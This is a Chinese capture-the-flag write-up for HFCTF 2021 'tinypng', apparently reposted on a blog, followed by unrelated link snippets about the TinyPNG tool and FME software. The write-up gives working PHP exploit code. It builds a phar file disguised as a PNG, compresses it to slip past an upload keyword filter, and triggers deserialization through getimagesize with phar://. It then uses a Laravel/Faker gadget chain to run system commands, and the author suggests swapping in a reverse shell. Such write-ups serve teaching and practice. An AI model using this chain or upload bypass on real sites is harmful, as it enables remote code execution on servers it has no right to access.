[HFCTF 2021 Final]tinypng

article/2025/9/9 21:46:26

1NDEX

  • 0x00 前言
    • seebug复习一下phar在php反序列化中的利用
      • phar文件结构
      • local_test
  • 0x01 brain.md
          • little trick压缩phar绕过关键词

0x00 前言

seebug复习一下phar在php反序列化中的利用

参考https://paper.seebug.org/680/
写的太好了… 直接粘了

phar文件会以序列化的形式存储用户自定义的meta-data这一特性拓展了php反序列化的攻击面

phar文件结构

  • stub
    类似标志,格式为xxx<?php xxx; __HALT_COMPILER();?>前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件
  • manifest
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
    在这里插入图片描述
  • content
    被压缩文件的内容
  • [optional] a signature for verifying Phar integrity (phar file format only)
    签名,放在文件末尾,格式如下:
    在这里插入图片描述
    php底层
    php-src/ext/phar/phar.c
    在这里插入图片描述

local_test

php.ini中的phar.readonly选项设置为Off

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
(不全)
在这里插入图片描述
在这里插入图片描述
phar文件内容 确实序列化存储了meta-data
在这里插入图片描述
因为识别phar文件是通过标志xxx<?php xxx; __HALT_COMPILER();?> 所以在前面我们可任意添加
可以在setstub时添加文件头来进行伪装
eg:

<?phpclass TestObject {public function __destruct(){echo "have been unserialized";}}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub$o = new TestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();// phar生成// 调用系统函数phar伪协议解析 触发反序列化$filename = 'phar://phar.phar/test.txt';file_get_contents($filename);
?>

在这里插入图片描述

0x01 brain.md

一个上传点
在这里插入图片描述

给了源码
看一下路由
在这里插入图片描述
贴一下indexcontroller

<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;class IndexController extends Controller
{public function fileUpload(Request $req){$allowed_extension = "png";$extension = $req->file('file')->clientExtension();if($extension === $allowed_extension && $req->file('file')->getSize() < 204800){$content = $req->file('file')->get();if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){$error = 'Don\'t do that, please';return back()->withErrors($error);}else {$fileName = \md5(time()) . '.png';$path = $req->file('file')->storePubliclyAs('uploads', $fileName);echo "path: $path";return back()->with('success', 'File has been uploaded.')->with('file', $path);}} else{$error = 'Don\'t do that, please';return back()->withErrors($error);}}
}

ban掉了较多关键字

preg_match("/<\?|php|HALT\_COMPILER/i", $content )
little trick压缩phar绕过关键词

convertToExecutable
在这里插入图片描述
test

<?phpclass TestObject {public function __destruct(){echo "have been unserialized",PHP_EOL;}}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub$o = new TestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();// phar生成?>

面目全非了
在这里插入图片描述
跟到ImageController

<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;class ImageController extends Controller
{public function handle(Request $request){$source = $request->input('image');if(empty($source)){return view('image');}$temp = explode(".", $source);$extension = end($temp);if ($extension !== 'png') {$error = 'Don\'t do that, pvlease';return back()->withErrors($error);} else {$image_name = md5(time()) . '.png';$dst_img = '/var/www/html/' . $image_name;$percent = 1;(new imgcompress($source, $percent))->compressImg($dst_img);return back()->with('image_name', $image_name);}}
}

前面的很常规,到后面看到 imgcompress 引起注意
在这里插入图片描述
讲真这里的getimagesize函数也可利用是真没想到
localtest一下确实可行
在这里插入图片描述
然后找利用链
写的很nice

https://xz.aliyun.com/t/9318

稍微提炼一点trick
链子入口点一般都是__destruct方法,且该方法拥有形如 $this->[可控]->xxx()
eg:
parent可控
在这里插入图片描述
下一步寻找合适类带有__call方法
并且 __call方法最好可以调用用户自定义的函数
全局过一下
ValidGenerator瞩目
在这里插入图片描述

public function __call($name, $arguments){$i = 0;do {$res = call_user_func_array([$this->generator, $name], $arguments);$i++;if ($i > $this->maxRetries) {throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));}} while (!call_user_func($this->validator, $res));return $res;}

两种思路
1.call_user_func_array中rce,但name已经是addCollection了
$this->generator类中name方法参数arguments
再去寻找__call方法就陷入了死循环
2.call_user_func($this->validator, $res)中rce,validator可控,下面控制$res即可,最好能让$res = call_user_func_array([$this->generator, $name], $arguments);返回我们想要的值
发现defaultgenerator类中default完全可控
在这里插入图片描述
那么call_user_func($this->validator, $res)完全可控了
ok写链

<?php
namespace Symfony\Component\Routing\Loader\Configurator{class ImportConfigurator{private $parent;function __construct($a){$this->parent=$a;$this->route='test';}}
}
namespace Faker{class ValidGenerator{protected $generator;protected $validator;protected $maxRetries;function __construct($a,$func){$this->generator=$a;$this->validator=$func;$this->maxRetries=1;}}class DefaultGenerator{protected $default;function __construct($default){$this->default=$default;}}
}namespace{
use Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use Faker\ValidGenerator;
use Faker\DefaultGenerator;
$o=new ImportConfigurator(new ValidGenerator(new DefaultGenerator("cat /flag"),'system'));
@unlink('phar.phar');
$phar=new Phar('phar.phar');
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($o);
$phar->addFromString('test.txt','test');
$phar->stopBuffering();
}
?>

当然rce处最好改成反弹shell回来
改名为phar.png上传
注意 /image只接受get请求
在这里插入图片描述
/image?image=phar://…/storage/app/uploads/xxx.png

在这里插入图片描述
done
PS:直接写马会写在/var/www/html目录下 而不是public目录下
在这里插入图片描述


http://chatgpt.dhexx.cn/article/gWMQV4b8.shtml

相关文章

VSCode安装TinyPNG,并配置api key

1 打开VSCode 在【扩展】中搜索【TinyPNG】插件&#xff0c;并安装 2 添加api key 没有这一步&#xff0c;对文件进行压缩时会失败&#xff0c;提示 3 获取api key 3.1 打开tinypng网站 打开tingypng&#xff0c;滑动到最底部&#xff0c;打开Developer API 或者直接打…

破解tinypng文件上传的限制

简单破解tinypng文件上传的限制 /** * 帮助文档* -------* * 获取帮助* 指令 -h* * 获取命令执行文件夹 * 指令 -f * 参数 ./* 必填&#xff0c;待处理的图片文件夹* * 获取是否深度递归处理图片文件夹* 指令 -deep* 可选&#xff0c;默认不深度递归* * 命令行脚本参考示例* &…

TinyPNG批量压缩工具脚本Python

TinyPNG官网: https://tinypng.com/ TinyPNG是目前为止最为欣赏的图片压缩工具, 图片压缩比截图 1经过ps压缩之后,还能减少50%以上的体积,肉眼居然一点看不出压缩模糊的痕迹; 2相比于jpg,对png透明的图片,体积压缩更为出众; 3为开发者提供了api接口,支持多种后端语言。…

super-tinypng压缩图片

使用快捷键WinR&#xff0c;输入cmd&#xff0c;进入命令行 安装super-tinypng插件 npm i super-tinypng -g在图片文件夹输入该命令 super-tinypng压缩完后会生成一个output文件夹&#xff0c;里面是压缩后的图片

TinyPNG

TinyPNG使用智能有损压缩技术来减少*PNG文件的文件大小。通过选择性地减少图像中的颜色数量&#xff0c;存储数据所需的字节更少。PNG很有用&#xff0c;因为它是唯一可以存储部分透明图像的广泛支持的格式。格式使用压缩&#xff0c;但文件仍然很大。使用TinyPNG缩小应用和网站…

TinyPng图片压缩的正确打开方式

https://tinypng.com/ TinyPNG使用智能的「有损压缩技术」来减少WEBP、JPEG和PNG文件的文件大小。通过选择性地减少图像中的「颜色数量」&#xff0c;使用更少的字节来存储数据。这种效果几乎是看不见的&#xff0c;但在文件大小上有非常大的差别。 使用过TinyPNG的都知道&…

tinypng注册

首先你得用谷歌浏览器&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xff01;&#xf…

TinyPNG 智能PNG和JPEG图片压缩

TinyPNG Smart PNG and JPEG compression &#xff08;English&#xff09; TinyPNG 智能PNG和JPEG图片压缩&#xff08;中文版&#xff09; TinyPNG做了什么&#xff1f; TinyPNG使用智能有损压缩技术将您的PNG文件的文件大小降低。 通过选择性的减少图片中的颜色&#xff0…

使用TinyPNG API压缩图片

使用TinyPNG API压缩图片 在撰写论文的时候&#xff0c;美观&#xff0c;大气&#xff0c;上档次的图标能够很好地给自己的论文加分&#xff0c;好的可视化结果也能够让审稿人赏心悦目。但是有时候在可视化图片的时候有可能原始图像过大从而很占内存&#xff1b;这时候就希望能…

FME读写cass数据的方案及操作流程

FME读写cass数据的方案及操作流程 一。CASS数据转换&#xff08;一&#xff09;读取南方CASS数据 南方CASS数据采用AutoCAD的DWG、DXF文件方式进行存储&#xff0c;用FME可以直接对DWG\DXF文件进行读取&#xff0c;但FME不能识别CASS扩展属性信息。在FME WorkBench中无法看到CA…

FME性能调整

FME性能调整 原文地址&#xff1a; https://knowledge.safe.com/content/kbentry/579/performance-tuning-fme.html 一、要素缓存 要素缓存&#xff08;或在FME2017及以下版本中使用“全部检查运行”—Run with Full Inspection&#xff09;允许你存储转换的中间结果并进行检…

【FME EXCEL】FME玩转EXCEL小记——不定期更新

目录 前言 本文记述FME使用过程中&#xff0c;对EXCEL操控心得&#xff0c;皆为平时的有感而发&#xff0c;故会不定时的更新。 模版的定义与使用 有如下一份成绩表&#xff0c;先存在两个问题&#xff0c;一个是所有同学的成绩少加了5分&#xff0c;另一个是登记表的位置不…

FME2019试用过程

FME2019试用过程 FME2019安装过程安装FME License安装FME Desktop FME2019安装过程 安装FME License AMPED —— 是 License 软件&#xff0c;先进入安这个 双击运行 一路安装 安完以后会弹出一个 hostid 的文本文件&#xff0c;如果没有去License的安装目录找 计算机名 网卡…

【FME小计】关于用户参数的设置

工作的时候遇到用户参数相关的需求&#xff1a;用户选择特定年份的时候&#xff0c;就运行特定年份数据。 该项需求的实现有两种方案&#xff1a; 使用Choice with Alias&#xff08;带别名的选择&#xff09;&#xff0c;然后将该参数关联到数据表上&#xff08;Feature to Re…

FME数据处理04:面自相交拓扑检查

在ArcGIS中仅提供了线要素的自相交拓扑检查,并未找到关于面要素自相交的相关表述;本文结合FME2019。列举了几种面自相交的情形,并介绍了FME中三个转换器及其设置方法。 关于ArcEngine的拓扑检查接口,可以参见基于C#的ArcEngine二次开发22:要素拓扑检查_小薛引路的博客-CS…

FME数据处理03:合并相接的线要素

1 问题描述 给定如下数据集: 上图中,选中的三条线段满足相接关系,但是是断开的;我们想将它们在断点处合并起来。 2 FME流程 主要是读取shp文件,调用LineCombiner转换器,将各线段从线段的相接点处连接起来。 Takes lines and connects them to form longer lines. Each…

FME动态转换

FME动态转换 什么是动态转换创建动态转换动态读模块动态写模块 动态结构处理动态结构动态要素类型动态属性结构几何定义 B站视频凑合看&#xff1a; 创建动态转换 结构处理(要素&#xff0c;属性&#xff0c;几何类型) 什么是动态转换 大多数转换要考虑源数据的结构&#xff…

FME助力新型基础测绘之存量测绘成果数据转换地理实体

​ 目前&#xff0c;新型基础测绘建设正在如火如荼地进行中&#xff0c;它是对传统基础测绘业务的转型升级&#xff0c;是测绘地理信息服务的发展方向和基本模式。要想充分了解新型基础测绘建设的核心内容&#xff0c;地理实体是必不可少的一个关键要素。 地理实体是指现实世…

使用FME 批量OSGB转FBX(OBJ) (亲测)

首先感谢这个UP主&#xff08;这种好视频&#xff0c;必须支持&#xff09;&#xff1a;OSGB单体模型批量转FBX&#xff0c;并保留原有文件目录_哔哩哔哩_bilibili 视频地址&#xff1a;链接&#xff1a;https://pan.baidu.com/s/18JCTpgAhWT1l5x8zJW9q0A?pwdr25e 提取码&am…

FME自动实现CAD转PDF的几种方式——以标准房屋建筑面积测算表为例

买房 对许多人来说都是人生大事之一&#xff0c; 关乎着定居、关乎着家庭、关乎着人生的再进一步。 要说买房以后最期待的事情是什么&#xff1f; ——拥有红本本&#xff0c;肯定是最重要的一项。 细心的你不难发现&#xff0c;房本除了房屋信息、房主信息以外还包含房屋平…